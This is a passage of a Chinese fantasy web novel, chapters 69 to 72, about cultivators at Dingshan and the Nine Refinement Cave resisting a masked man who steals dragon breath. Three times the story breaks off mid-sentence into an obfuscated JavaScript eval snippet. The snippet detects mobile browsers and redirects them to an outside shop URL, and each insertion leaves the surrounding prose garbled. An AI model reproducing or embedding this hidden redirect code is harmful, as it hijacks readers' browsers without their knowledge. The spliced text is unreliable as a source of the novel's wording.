张师铭似乎也有点气:“那你别跟我说了。” 他说完就直接走远,留下谭明诗单独站在那里。 张师铭长相儒雅,谭明诗就长得有点凌厉,仿佛盘旋在天上的老鹰。 她站在陌生之处却显出几分凶悍,若是普通人可能有点瑟瑟发抖。不过冬青是鼎山龙息,天下就没有她怕的。 “不识好歹,我们不理他。”冬青继续装疯卖傻。 谭明诗露出微笑,仿佛苍鹰又发现一只蝴蝶,看来鼎山还有刀以外的东西。 鼎山迎来新危机,九炼洞窟则有新麻烦。 因为齐云鲤认为面具人要做的不止夺取龙息,菩提慧海一口气还没缓过来,就又被推进深渊。 既然面具人做的不限于此,那么他们也得忙起来。 “还有什么事?”菩提慧海无可奈何。 齐云鲤说:“有个人跟我类似,也许会被利用。” 69. 两手准备 齐云鲤是青湖专门准备的魂魄,跟她类似的人那就是如出一辙。 ——难道还有两手准备? 菩提慧海莫名其妙看过去,在那边做木雕的青湖只是摇头。 她能来九炼洞窟,全靠青湖出手。 眼下没有其他准备,怎么会出现类似的人? 所以菩提慧海觉得这是危言耸听。 齐云鲤知道穿书这件事解释不通,于是就换一种说法。 “无根海尚在时,真龙能通过那里的水连接不同天地,这个天地的人受到影响就会异于常人,”她用九炼洞窟最容易接受的方法来解释,“我就是异于常人的那个。” 虽然说法太过离谱,不过齐云鲤的异于常人众人都亲身体会。 ——的确不是正常人。 而且哪个正常人能在九炼洞窟呆下去。 于是九炼洞窟就接受这种说法,只是还有第二人就太过令人震惊。 毕竟一个就这样,还有一个那得乱成什么样。 “……有两个人?”菩提慧海十分不可思议。 齐云鲤想了很久还是说:“其实不止两个,如今在鼎山的那个也是。” “鼎山的哪个?”菩提慧海一时有点迷糊。 “破坏龙息状态的那个。” 此人就是外界不断轮回和龙息不停削弱的罪魁祸首。 一切问题都源自他,真龙至今没有恢复都是因为他。 “那就绝对会出手!”五个修道人士激动起来。 他们说怎么真龙恢复这么慢,原来是有相关人员插手。能借此获得利益的人自然会想方设法保住地位。 一旦发现相似存在,绝对会趁机利用。 ——只能帮他,不准帮其他人。 因为帮其他人就是在帮真龙。 历经世间沧桑的修道人士对此深有体会。 一旦牵涉到根本利益,谁都不会手软。 那些本来就在祸害人间的东西,更是会变本加厉。 齐云鲤见他们深有同感,就赶紧强调:“那个人年纪小,容易被骗……” ——这个问题很严肃。 “挡得再好也还是会被骗。”有人痛心疾首地说。 ——这个回答更严肃。 一味抵挡就始终不能占据优势。 没有优势就会继续被骗。 有人提出:“既然挡不住,那我们也去骗。” “还能怎么骗?” “罪魁祸首想利用他,那我们就点明真相。” “……这是骗吗?”其他人很迷惑。 “被骗对象是罪魁祸首,”青湖雕好小人交给修道人士,然后说,“人人都有份,不急,慢慢来。” 小木人没有具体形象,只有一个基础人形。似乎有用,但不好看。 齐云鲤十分好奇:“这是干什么?” ——她绝不可能投身精雕细琢之物。 “凑合用一下就行,”青湖说得很敷衍,“勉强算得上肉身。” 齐云鲤问:“那我有吗?” “你没有,”青湖解释,“外面的化龙之人躯体还在。” 齐云鲤想了想,感觉有道理。 化龙之人的躯体还能用,那就没必要担心什么。 九炼洞窟众人经年累月,肉身早已消失。 但青湖又说:“不过化龙两次必死无疑,你还是做好准备吧。” “那你还要我再次化龙?”齐云鲤十分迷惑。 青湖解释:“没有肉身你就是孤魂野鬼,其实那也是种活法。” 那种活法闻所未闻,不就是死人? 但齐云鲤现在已经死了,只能无话可说。 她不知道青湖脑子里都装着什么。 感觉相当可疑,又在做正经事。 感觉还算正常,又匪夷所思起来。 旁边的修道人士说起骗人一事,她才想起自己是要说孙仲礼的事,莫名其妙就被转移话题。 齐云鲤只好赶紧回到正轨。 她无奈说出对比:“破坏龙息状态的那个很擅长骗人,跟我类似的那个很容易被骗。” “这不就是千载难逢的对手?”有人感慨起来。 虽然事实如此,但说出来就有点嘲讽意味。 齐云鲤只能说:“可能你也会被骗。” “我怎么会被骗?!”那个人大声反驳。 “你现在就被骗了,”青湖做出评价,然后问,“他会被怎么骗?” “破坏龙息状态是需要使用龙息,鼎山龙息原本是帮真龙恢复,但现在会被他趁机利用,”齐云鲤严肃地说,“虽然目前挽回一点局面,但那个人必定会坚持到底。” 鼎山龙息对九炼洞窟来说相当重要,有人明目张胆破坏龙息状态,就是要抢夺龙息,真龙龙息被抢,只会恢复得更慢。 听到这里那五个修道人士就气起来。 “他最后会干什么?” 这是个很严肃的问题,既然会抢夺龙息,那就不止会抢夺龙息。 “抢到最后也许他会改变下手对象。” 天下没有哪里比真龙的龙息更多,既然鼎山龙息稀薄,那就直接抢真龙。 这是谁都不敢想的事,不过已经抢到这个份上,再抢多一点也无伤大雅。 “他还敢这样?”修道人士质问。 齐云鲤一叹:“那是异于常人之人,可能他觉得自己跟真龙别无二致。” 五个修道人士实在想不到此事,他们以为自己饱经风霜,已经看透世间一切,谁知还有那种人。 看来经验再怎么丰富,也还是有世事难料的时候。 “他会怎么利用?” “他会让那个人做自己不方便出面的事。”齐云鲤指出。 “……不方便出面?” “他得假装自己是个正常人。”齐云鲤说明。 “那个人做了会怎么样?” “也许就死无葬身之地,”齐云鲤强调,“我们也一样。” 气氛瞬间就凝重起来,这都不是一般的大事。 应该没有比毁天灭地更大的事。 ——本来是要救世,结果变成送葬。 很久才有人问:“那边大概会怎么做?” “异于常人的人不一定知道自己异于常人,”齐云鲤说出前提,“也许只是感觉一切都奇奇怪怪。” 她说出关键:“但是奇怪的原因可以操纵。” 原因改变方向就会变,最终结果也会变。 就像是让小学生做综合分析题,估计看都看不懂。 答案只会奇奇怪怪。 齐云鲤感觉自己被坑,所以孙仲礼肯定也会中招。 虽然不记得被坑了什么。 不记得的事太多,前因后果都很迷糊。 “他给出一个原因,我们就给出另一个原因?”有人问。 齐云鲤回答:“也就是点明真相。” 五个修道人士沉默了,其实这就是他们一直想做的事。 以前无论怎么说,别人都不信。如果能在此点明真相,或许说服其他人就不是问题。 “这件事我们想了很久……” 齐云鲤问:“想通了吗?” “如果跟你说天地变化的根本,效果怎么样?” “不想听。” 齐云鲤拒绝得很干脆,那五个人也无可奈何。 回想起还有幻灯片那种东西,齐云鲤就问:“通过看能看明白吗?” “这要怎么看?” 齐云鲤回忆:“难道四周一片漆黑,窗外的白玉兰却在发光,这不令人奇怪?” “这是秘境,秘境本来就奇怪。”有人回答。 原本齐云鲤是要说服众人,结果自己又发现问题。 按理来说,只有东南秘境是自然生成,其他全是人为。 ——那么破庙又是谁干的? 她想起莲花座上的签名,难道是穿书者打造? 如果真是这样,为什么要在外面留一棵白玉兰? 齐云鲤想起幽冥大帝阵法上的玉兰花,不知道二者有什么联系。 还有元真,她又是怎么回事? 越想越迷糊,最后她都放弃跟修道人士交流,干脆让他们自己琢磨。 九炼洞窟里的人冥思苦想,鼎山的人殚精竭虑。 虽然想方设法给张师铭找事做,但现在有谭明诗,很多事情都要给真龙化形让位。鼎山弟子绞尽脑汁也想不出办法,只好请冬青去吸引谭明诗注意。 去请人的当然是孙峥湖,因此他又被一顿抓。 但是被抓以后,狐狸没有哭哭啼啼,而是郑重说明:“你要小心,不过要让对方掉以轻心才行。” “难道她会干好事?”冬青很怀疑。 狐狸强调:“反正你也不怕她干坏事。” “你就是让我去找死?”冬青问得有点凶。 “绝无此意,”狐狸赶紧解释,“只是真龙恢复事关重大,身为鼎山龙息你不能坐视不管。” 冬青力大无穷,万一觉得他有恶意那就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17248412|193353||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没有活路。 还好冬青没有执意于此:“如果她下毒手怎么办?” “你就让她知道下手再狠也没用。” 冬青问:“也就是气死她?” “能气死最好,实在不行也要让张师铭不能全神贯注化龙一事。”狐狸说。 冬青不由感慨:“化龙的事也跟我有关。” “鼎山弟子在帮真龙恢复,那么你也要帮他们。”狐狸强调。 “他们还能干什么?” “他们还能化龙。” 虽然知道此事,不过冬青并没看到任何迹象。 目前孙峥湖一说,她就觉得没有迹象都是张师铭的错。 眼下又来一个三渺宗的,跟他联手干坏事。 “看我怎么气死她。” 冬青又拔起一棵树才走,孙峥湖只好变回人形继续种树。 接下来张师铭总是能在山道上遇见冬青,她跟自己吵几句就把谭明诗带走。 虽然每次时间不长,但次数太过频繁也让人烦恼。 仿佛冬青兴致一来就找谭明诗聊天,说话内容基本没用还没完没了。 打断化龙一事,张师铭就经常被鼎山弟子叫走。基本都是千奇百怪的麻烦,虽然问题不大,但是数量庞大。他都能解决,可始终没有尽头。 原本谭明诗来了就能专心致志化龙,可以避免很多闲杂琐事。 但冬青似乎很喜欢谭明诗,总是跟她说个没完。 谭明诗陪她聊天,就没空学习化龙之事。 没空学就没法教,张师铭闲来无事就被鼎山弟子叫走。 如此持续大半个月,他实在有点忍无可忍。 不过谭明诗也发现问题所在,看来鼎山冬青不解决不行。 于是她以三渺宗术法铺开一个肉眼不可见的阵法。 那个阵法就在她身上,不过对她无害,只会损害时常出现在左右的人。 虽然谭明诗天天跟随张师铭学习,但两人相距甚远,不会受到影响。 只有跟在她身边的冬青才会受害。 因此谭明诗对冬青也亲近了不少,仿佛两小无猜的好朋友。 不过之前跟她亲近的姜凝惨遭毒手,这次的冬青也不会好到哪里去。 言谈之间的关系好,还是不如切实利益。 有如苍鹰一般犀利的女子变得温柔不少,其他人都觉得是冬青的功劳。 只有她知道绝对没好事,猛虎温声细语也许是在等狩猎时机。 不过再凶猛也不怕,毕竟她是龙息化身。 谭明诗前后跟冬青聊了很长时间,可张师铭的耐心都快耗尽,也没有任何结果出现。 她不得不怀疑阵法的威力,试了好几次,感觉没问题。 可冬青依然毫发无伤。 以至于最后谭明诗都开始怀疑三渺宗术法。 术法和阵法都出自三渺宗,结果在鼎山无效。 ——怎么看都是三渺宗的问题。 纯粹就是技不如人。 张师铭和谭明诗不知道冬青是龙息化身,这种寻常手段根本无效。 只有销毁鼎山龙息对她才有威胁。 实在没办法,张师铭只好亲自去拜访冬青,以免她还天天过来。 冬青住在飞泉院旁边的小木屋里,没有亭台楼阁,也没有小桥流水,只有一个木屋。 张师铭相当客气地走进去,把能夸的全都夸一遍。 最后看到墙角插花,张师铭不能准确识别花的品种,只能凭印象说那是樱花。 冬青原本不想理他,不过这话出来自己就有话可说。 “现在好好种花,以后还有果子吃。”冬青说。 张师铭问:“怎么还有果子?” ——樱桃花有樱桃果,这是很正常的事。 “没果子开花干什么?”冬青觉得很奇怪。 张师铭也奇怪:“开花不就是为了看?” “看一眼就饱了?”冬青问。 “死了再种就还能接着看。” 这话说得昙花一现也不过如此,仿佛极致的惊艳可以反复重来。 如果这个死了还有其他的,那生生死死都不叫事。 这个死了还有下一个,干脆全都死光算了。 冬青感觉这就是在咒自己,顿时被气得不行。 作为能徒手拔树的人,她只能劝自己冷静,不要动手。 可是怎么都忍不住,最后冬青直接跑出去不再回来。 张师铭感觉自己没错,所以也不纠结。 70. 剑阵 张师铭由于冬青妨碍他盗取龙息而上门拜访,结果事后更加不和。 他觉得自己句句都在理,没有任何问题。 所以只能是对方胡搅蛮缠。 冬青身为鼎山掌门私生女,实在肆无忌惮,他也没办法。 她继续找谭明诗聊天,他就继续被鼎山弟子叫过去帮忙。 持续一段时间,他都要以为自己是真心来帮鼎山。 但这种事绝不可能发生。 既然时间缩短,那就加大力度。 反正再怎么样,短的也只是在外行动时间,又不是呆在鼎山的时间。 由于不能正式施法布阵,因此张师铭从早到晚都在盗取龙息。 ——只是每次的量很少。 不过再少也能积少成多,集腋成裘。 鼎山弟子很快就察觉到鼎山龙息的异常,虽然龙息主要集中在禁地,但其他地方也会有一些。即使很少,对普通人来说也有压迫。 所以呆在鼎山就是在跟龙息对抗。 然而最近压迫越来越轻,似乎龙息越来越稀薄。 鼎山长老专注化龙教学,无心于此,鼎山弟子只能去找禁地的卫池。 他是人炉又是鼎山弟子,对龙息应该相当熟悉。 卫池呆在冰天雪地的寂静中,万事万物都在沉默,谁知在禁地外观察张望的三个鼎山弟子走了进来。 由于事先施法布阵,所以禁地冰雪并不能影响他们。 不过他们没有对周遭其他事物好奇,而是直接走到卫池面前。 “跟你说个事。”其中一人面色有点沉重。 没有打招呼,而是直接进入正题,卫池就知道事情有点严重。 “化龙恢复,鼎山龙息是重要关键,”那个人先说出前提,然后点明现状,“不过如今鼎山龙息少得太过明显。” “幸亏禁地龙息还算稳固。”另一个人都要流下两行泪。 禁地龙息稳固全靠卫池用功法调整四周环境,减轻龙息负担。不过禁地之外的龙息他就无法触及。 他以为禁地龙息鼎盛,保住这边的龙息就行。 没想到鼎山其他地方那些若有若无的龙息也在减少。 “怎么回事?”卫池相当疑惑。 “眼下鼎山龙息只有禁地的还算稳定,其他地方的越来越稀薄。由于那些地方的龙息通常较少,所以很少有人察觉。”一个人无奈回答。 “你们怎么知道?” “有人告诉我们的,对比一下发现的确就是这样。” “……谁说的?”卫池问。 有人说出答案:“负责巡山的鼎山弟子,他们对整个鼎山的龙息变化相当敏感。” 这件事相当顺理成章。 卫池沉默了,巡山跟夜巡不同,是要将鼎山上下都走一遍。 鼎山所在区域乌烟瘴气,时常受到周围妖魔鬼怪的影响。他们虽然不会上山挑事,但在附近弄出什么却很有可能。 鼎山遍布龙息实际也是为了防御。 如果龙息波动,就很有可能被趁虚而入。 巡山的人得小心这种微小变化,很小的漏洞也可能造成巨大损失。 眼下他们说龙息越来越稀薄,不会有假。 卫池当然知道是张师铭搞鬼,不过要怎么应对就有点麻烦。 毕竟禁地龙息是靠冬青拿来功法才稍微稳定,禁地小鼎山大,功法再多也无法弥补整个鼎山的龙息。 冥思苦想一阵子,卫池总算还想到一个东西。 鼎山除了龙息还有元气。 丹青宝卷里就有元气,或许是个稳定龙息的方法。 他说出元气的事,而那三个鼎山弟子已经熟悉丹青宝卷里的元气。 “晨练长老说龙息和元气类似一阴一阳,或许这就是解决之道。” 其实以前那些话有点虚无缥缈,即使能用元气布阵,也跟龙息截然不同。 如果说龙息是真龙的气,元气就是万物的气。 若是能用元气帮助龙息,那就证明二者相差无几。 但是如果没有货真价实的证据,这种事就只是空口无凭。 不过之前鼎山弟子用元气布阵,卫池运用阵法打败蛟,这是众人皆知的。 虽然他们不懂元气,但是知道剑阵。 因此有人问:“那你懂吗?” 他们谁也不清楚具体怎么回事,总得找个人问问。 不过卫池很干脆:“我不懂。” “那有谁懂?”鼎山弟子很好奇。 卫池说:“去丹青宝卷里问吧。” “丹青宝卷里的谁?” 那三人没有跟他一起进过丹青宝卷,所以不清楚事情缘由。 也就是说还得有熟人,因此卫池说:“天府之国的城主,你们叫宋安合跟吴明一起去,他们都见过。” 宋安合是师兄,所以那三人没有意见。 不过吴明是后辈,叫他去丹青宝卷就有点奇怪。 “吴明应该对此比较陌生吧?”鼎山弟子问。 卫池说:“之前那条蛟就是用他的躯体化形,在丹青宝卷里也化形过。” “……也是蛟?” 卫池沉默片刻才说:“类似吧。” 常人能化形为蛟就相当困难,吴明化形后还打得天翻地覆,不可小觑。 鼎山弟子顿时觉得他是强大助力,光是站在那里就有一定威慑。 宋安合跟他一个说一个吓,估计效果不错。 想通此事,三个鼎山弟子就此告辞。 他们回去就跟宋安合和吴明说明情况,眼下事态严重,只有他们二人出面才可能稳住阵脚。 这两人对当前局面也很头疼,既然能亲自调解,当然不会拒绝。 因此五个人一起进入丹青宝卷。 宋安合在郊外请舞女带路,那个之前还神秘莫测的人就规规矩矩请几人进入天府之国。 这时正是白天,城内人流如织,虽然有不少奇奇怪怪的,但没有冲突。 即将碰到就瞬间避开的景象,在那三个鼎山弟子眼里仿佛是种功夫。 众人来到靠后的仙府,府内院落春夏秋冬各有不同,看得人都有点目瞪口呆。 最后的院子是城主居住地,院子里草木缤纷,还有一条蜿蜒小溪,顿时就让人静下来。不过到处挂着各色装饰,又有种财大气粗的感觉。 宋安合跟院子里的紫衣童子说清楚来意,他就进屋请出一个女子。 那个女子容貌清丽、衣着华贵,周身还缭绕着云烟,一看就不是常人。 九游仙姬听说鼎山弟子的来意,原本还有点不耐烦,不过看到旁边的吴明就神色一愣,顿时变得很好说话。 毕竟之前在丹青宝卷里大打出手的也算他一份。 宋安合说起鼎山龙息之事,问她有没有办法解决。 龙息跟元气乃一阴一阳,鼎山遍布龙息又有丹青宝卷,自然是有备而来。 九游仙姬说天一道人早就料到会有这一天,所以才准备丹青宝卷。 之前丹青宝卷跟鼎山龙息相互制衡,这才保证鼎山不被过多龙息压垮。 如今鼎山龙息明显减少,那就要用丹青宝卷里的元气来补充。 说得好像丹青宝卷里的元气应有尽有,这跟她之前的态度既然不同。 宋安合很疑惑,九游仙姬就说元气无处不在,丹青宝卷里的只是相当纯粹,当个引子就行,真正发挥作用的是鼎山弟子周身元气。 人人都有元气,之前只是因龙息而隐藏。 眼下鼎山龙息稀薄,就是元气大显身手的时候。 虽然龙息少但是人多,外人想插手也无法干涉。 这种说法闻所未闻,不过九游仙姬给出一把钥匙,说是只要将其带出丹青宝卷,就能逐渐引出鼎山弟子身上的元气。 只是元气已经有了,还要知道怎么应用 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17254095|193353||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 一方面是元气会自动填补空白,另一方面是要用元气布阵挡住外人。 九游仙姬说得很简单,不过宋安合已经明白其中细节,便郑重谢过。 五人离开丹青宝卷,就开始着手引出元气布阵的事。 张师铭肆意掠夺龙息,那就让他尝尝元气的厉害。 鼎山弟子运用元气布阵很生疏,而且还是自身元气,更是闻所未闻。 为了让他们尽快熟练,青滔就布阵把他们全都打了一遍。 青滔虽然只用剑法,但每个动作都暗含功法,如果没有充足准备,只会被打得落花流水。鼎山弟子在禁地外被打了一轮又一轮,卫池都看不下去。 原本禁地相当清净,结果外面打得声势浩大,吵得他都想离开。 最后被打经验丰富的卫池只能出去传授经验,既然青滔师伯只用剑法,那就使用剑阵跟他打。以元气布阵,再灵活运用其中剑气。 剑阵就是青滔师伯弄出来的,威力无穷,绝不简单。 鼎山弟子里有人铺设过剑阵,因此很快就上手,跟青滔打得气势如虹。 去禁地的那条路原本就因青滔练剑而惊险,眼下鼎山弟子跟青滔打在一起更是连飞鸟都不敢路过,就算是孙仲礼也只敢在很远的地方稍微瞟几眼。 虽然最终败在青滔手下,不过鼎山弟子已经了解怎么打张师铭,于是兴高采烈告退。 孙仲礼远远看了几眼没看懂,只是感觉自己打不出这种效果。 张师铭这个时候还在跟谭明诗谈论化龙的事,对此一无所知。 不过当天夜里他想吸收龙息时,就被骤然打断。 他不清楚发生什么,只是感觉微乎其微的力量消失殆尽。 原本这种方法就像抽丝剥茧,极其细微又绵绵不断。这才能始终保持细小的龙息之力涌入,但眼下仿佛是有人将那条线剪断。 再细再小也不允许他擅自抽离。 张师铭感觉这是有人用阵法来阻挠自己,于是他施法阵法进行反击。 鼎山龙息基本都为他所用,就不信还有人能与他抗衡。 事实的确如此,施法布阵用的是功法,功法中最上乘的就是龙息之力。张师铭就像是手握最好的牌,无人能敌。 然而这次对面的人另外拿出一副牌,要什么有什么。 虽然违规,但这已经是全新局面。 一共两副牌,张师铭手里有最好的牌,对面则有全部的牌。 他不知道还有这种打法,怎么看都是对面的牌多,自己的牌只是好。 这不是比谁先打完牌,而是比哪边赢的次数多,牌再好也是少。 无论如何都是输,所以张师铭直接弃权。 不过抽取龙息的力量消失,保护龙息的力量仍然存在。 那是鼎山弟子跟青滔师伯打出来的剑阵。 只要还有人胆敢抽取鼎山龙息,那么拖过去就是一顿打。 其他事情他们不在行,但是打架很顺手。 禁地只能定时过去,鼎山龙息又不能碰,张师铭有点心力交瘁。 只能顺其自然,慢慢恢复。 构思不是张师铭的,所以他不知道除了龙息还有元气。 即使之前略有耳闻,但他实在想不到元气还能跟龙息一教高下。 如今他就被那种超出想象的东西挡在外面。 而这也意味着鼎山龙息彻底稳定下来,九炼洞窟里齐云鲤看到菩提慧海哭成泪人,还以为他病入膏肓,命不久矣。 她正在跟修道人士讨论秘境的事,就发现菩提慧海泪流满面。 齐云鲤还以为是自己说错话,一问才知道是鼎山龙息彻底稳定。 ——这种好事不知道有什么哭的。 结果菩提慧海说:“三年以后就是龙骨论战。” 听到这句话齐云鲤也有些想哭。 也就是说刚好回到鼎山,就要开始龙骨论战。 71. 重逢 菩提慧海带五个幼儿心智的修道人士有点心力交瘁,因此对真龙恢复极其敏感,只要真龙飞天他就能脱离苦海。 所以鼎山龙息变化是他相当关注的事。 最开始鼎山龙息不断减少,都要难以维持真龙状态。菩提慧海忙来忙去也没有效果,都快气绝身亡。 千钧一发之际鼎山人炉出手,彻底扭转局面。 于是他就开始保障人炉安全,虽然打斗不少,但面具人的偷袭全被挡住。 天地不断轮回,但九炼洞窟不受影响,依然径直向前。 真龙恢复得慢,可好歹也在恢复。 虽然飞天遥遥无期,但总算还有希望。 不过面具人亲临鼎山,将鼎山龙息削弱至极,青湖又不管,菩提慧海只能哭。 那个青字辈的鼎山中人即使知道面具人,也只愿跟他打斗,其他事情一概不管。毕竟她都不肯来九炼洞窟,没有添乱就是万幸。 青湖不管,龙息化身管了也没用,幸亏鼎山龙息稳定下来。虽然不清楚具体发生什么,但菩提慧海觉得人炉肯定发挥作用。 九炼洞窟其他人对此毫不在意,菩提慧海只能殚精竭虑。 不过眼下又出现一个因此痛苦的人——齐云鲤。 一开始说要等一年,现在变成等三年,三年之后就是龙骨论战,那是鼎山灭门的日子。 时间不是问题,问题是那时发生的事。 谁知道有没有办法挡住鼎山灭门,万一又发生灭门惨案,这次还能回到很久以前吗? 想了很久,齐云鲤只能提议让鼎山弟子化龙逃跑,青湖说即使他们能化龙,也不可能是龙骨论战时,这次能化龙的只有她一个。 只有一个人能跑,那就是白跑。 青湖这人正事一概不管,稀奇古怪的事又一清二楚,齐云鲤只能无话可说。 “这次不行还有下次。”菩提慧海松了一口气。 齐云鲤看不惯他这种状态,就说:“人力终有尽时,鼎山人炉基本已经耗尽所有,估计这次就是最后一搏。” 此言一出,菩提慧海又愁眉苦脸起来。 不过齐云鲤没有因此发愁,人炉力竭的同时面具人是否也一样? 双方僵持至今,也是在消耗面具人。 两个人都精疲力尽,那就是她出手的最佳时机。 眼看机会就在眼前,齐云鲤赶紧跟修道人士讨论秘境,商量半天感觉还是用秘境做幻灯片最好。 小说字数很多,不过什么也没说清楚,读者猜来猜去,也无法确定究竟怎么回事。 既然猜不出来,那就直接编,反正小说里也没否认这种可能。 把面具人编成罪魁祸首,罪恶滔天,祸害苍生。 孙仲礼千万要看破他的真面目,不能被花言巧语迷惑,以免酿成大错。 虽然是编的,不过齐云鲤觉得也算证据确凿。 然后再突出人炉跟他的对抗,人炉是小说主角,面具人就是幕后黑手。 齐云鲤他们讨论很长时间,才最终定下秘境内容。 既然不怕不识货,就怕货比货,那就用人炉来揭开面具人真面目。 站在主角对立面的绝不是好人。 “出去之后你要怎么打?”不过青湖只关心这个。 齐云鲤问:“不是化龙打吗?” 她已经在千溪镇化龙,下次化龙就能碾压对面。 “面具人亲眼见过真龙,估计下次他也会化龙。”青湖说出残酷事实。 齐云鲤的心情顿时就沉重起来,原本觉得再次化龙是冒着巨大风险将鼎山拉出灭门惨案,结果现在发现化龙可能也没用。 既然面具人亲眼见过,那就要用一招他没见过的。 如果自己都没见过,那么对方肯定不知道。 想来想去,她只好问:“用剑阵打他怎么样?” “难道剑阵还能用?”青湖很疑惑。 这话一出,齐云鲤就知道出现前所未有的变化。 “青滔能用,我能用,鼎山弟子也能用,”她回顾丹青宝卷后的那一战,“昔日我们用剑阵,打败面具人化形的蛟。” 青湖沉默了,轮回这么多次她从没用过剑阵,结果现在鼎山弟子都在用。 那原本是青滔独树一帜的阵法,怎么现在人人都在用? “你说的剑阵是青滔那个?”她十分怀疑。 鼎山中人一直觉得那是先射箭再画靶的东西。 齐云鲤点点头:“鼎山人炉发现用元气可以打开剑阵。” 元气是只有耳闻的东西,九炼洞窟众人从未亲自接触过。 如今却仿佛蕴藏着不为人知的神通。 “元气是哪里来的?”有个修道人士问。 齐云鲤说起丹青宝卷,之前提到过但其他人注意力全被鼎山弟子转移。 然后她又说鼎山弟子用元气打开剑阵。 元气和鼎山弟子都出现,那些人总该留意一下。 在鼎山弟子衬托下,元气瞬间光芒万丈,众人顿时觉得充满希望。 毕竟鼎山充满龙息,在那里施法就得对抗龙息压迫,鼎山弟子用元气布阵就能打败一条蛟,太过出神入化。 “鼎山弟子布阵,人炉运用阵法。”齐云鲤赶紧强调,生怕那些人抱有不切实际的幻想。 青湖做出指示:“龙骨论战时,他们布阵你来用。” “……那你呢?” 青湖说:“我又还没出去。” “你要在这里呆一辈子?”齐云鲤十分奇怪。 “我的一辈子早已到头。” 这话有点悲凉,但青湖完全就是无所谓的态度,齐云鲤也没什么好说的。 毕竟她是能单挑面具人的修道人士,实在没必要说什么。 担心青湖情绪低落还不如担心自己。 “你跟他们商量吧。”青湖说完就去给真龙清洗鳞片,这件事基本已经被她用来打发时间。 虽然清洁程度不大,但真龙鳞片本来就没有污渍。 有人搞卫生,有人吓到另一个人,剩下的人都在商量大事,九炼洞窟一时也其乐融融。 不过好迹象只出现在这个地方,另一边的鼎山就有点风起云涌。 张师铭呆在鼎山恢复状态,谭明诗趁机摸清鼎山龙息一事。卫池守在禁地,鼎山弟子则守着整个鼎山。谁都不能挑明真相,所以谁也不能松懈。 今日风平浪静,也许明天就惊涛骇浪。 没有任何人称心如意,也没有谁一败涂地。 谁也没成功,可谁都有机会。 鼎山弟子将过往完全没有接触的东西学了个遍,张师铭则将龙息的细枝末节全都教给谭明诗。 孙仲礼虽然还有点晕,但已经学会很多知识,跟鼎山弟子的关系也突飞猛进。 卫池虽然还是不懂乱象根源,但已经能熟练平息。 毕竟毁天灭地都经历近百次,禁地乱象实在不能算大事。 鼎山龙息又被鼎山弟子彻底稳定下来,张师铭再也无法插手,只有定期过来帮助化形。 唯一的麻烦也许只在孙峥湖身上,他既要用人形在飞泉院处理事务,又要变回狐狸去冬青那边挨打。不过冬青可以徒手拔树,稍微打几下也就忍了。 现在只是准备阶段,等化龙之人回到鼎山那才是危机重重。 九炼洞窟里的齐云鲤对鼎山凶险一无所知,只是跟修道人士吵了很多次。 众人对秘境布局意见不同,谁也无法说服谁。 除此之外还说到龙息乱象,她也不知道是什么,让他们冷静点结果又吵起来。 虽然那边吵得凶,不过菩提慧海和青湖呆在一旁悠哉游哉,甚至开始下棋。 棋子只有黑白二色,棋盘就是纵横十九条线。 以前觉得枯燥乏味,但现在有人在不远处吵架,他们顿时觉得妙趣横生。 只要有人受罪,他们就怡然自得。 日子一天天过去,秘境做得越来越出神入化,他们的棋艺也越来越高超。 直到时间差不多,菩提慧海就决定把棋盘挪个位置。 其实在哪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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不过化形道理都一致,一些极其稀少的形态想直接变回人形相当困难。化形之人往往会变成其他形态,再逐步变回人形。 眼下真龙变回一条菜花蛇已经足矣,明天那条蛇就能变回人形。 虽然三年里还有大大小小的问题,不过都能解决。 鼎山弟子在逐渐成长,威力越来越大。 卫池想将龙骨论战后的天地交给他们,曾经是痴心妄想,但现在可以落实。毕竟在鼎山能用元气挡住龙息衰减,在更大的地方就能挡住天地衰败之势。 这方天地还是要交给天下人来打理。 鼎山弟子下山教老百姓简单术法知识,如今山下的千溪镇百姓已经熟能生巧,钟灵村村民也能掌握一些灵活多变的术法。 再花几年功夫,那些修道方面的东西就不再令人望之生怯。 就像当前化形为蛇的真龙,很快就能变回人形。 昔日的救命恩人也能重返人间。 卫池站在雪地感慨,阵法里的蛇突然往前一扑,直接扎进雪里。 然后雪中有人爬起来大喊:“怎么又踢我?我忍你很久了!” 那人回头一看,发现身后只有皑皑白雪,以及雪中红梅。 齐云鲤瞬间愣住,随后发现那边还站着一个人,貌似是卫池。 三年时间,那人似乎长高不少,但是周身问题多得不计其数。 由于在九炼洞窟身经百战,她对这些东西已经相当熟悉。 那是能吵三天三夜的麻烦。 曾经不知道麻烦从何而来,现在看到他就知道根源在哪里。 他们说鼎山龙息之乱都怪她,如今看来乱象来源是卫池。 之前因此跟那五个人吵个不停,现在看来没有一架是白吵的。 乱象来源是她名义上的徒弟,齐云鲤也无话可说。 72. 化龙之人 齐云鲤在九炼洞窟跟人吵了三年,原来一切都源于卫池。 虽然看出此事,不过她还是出声询问:“龙息乱象是因你而起?” “……是你引起的。”卫池直接反驳。 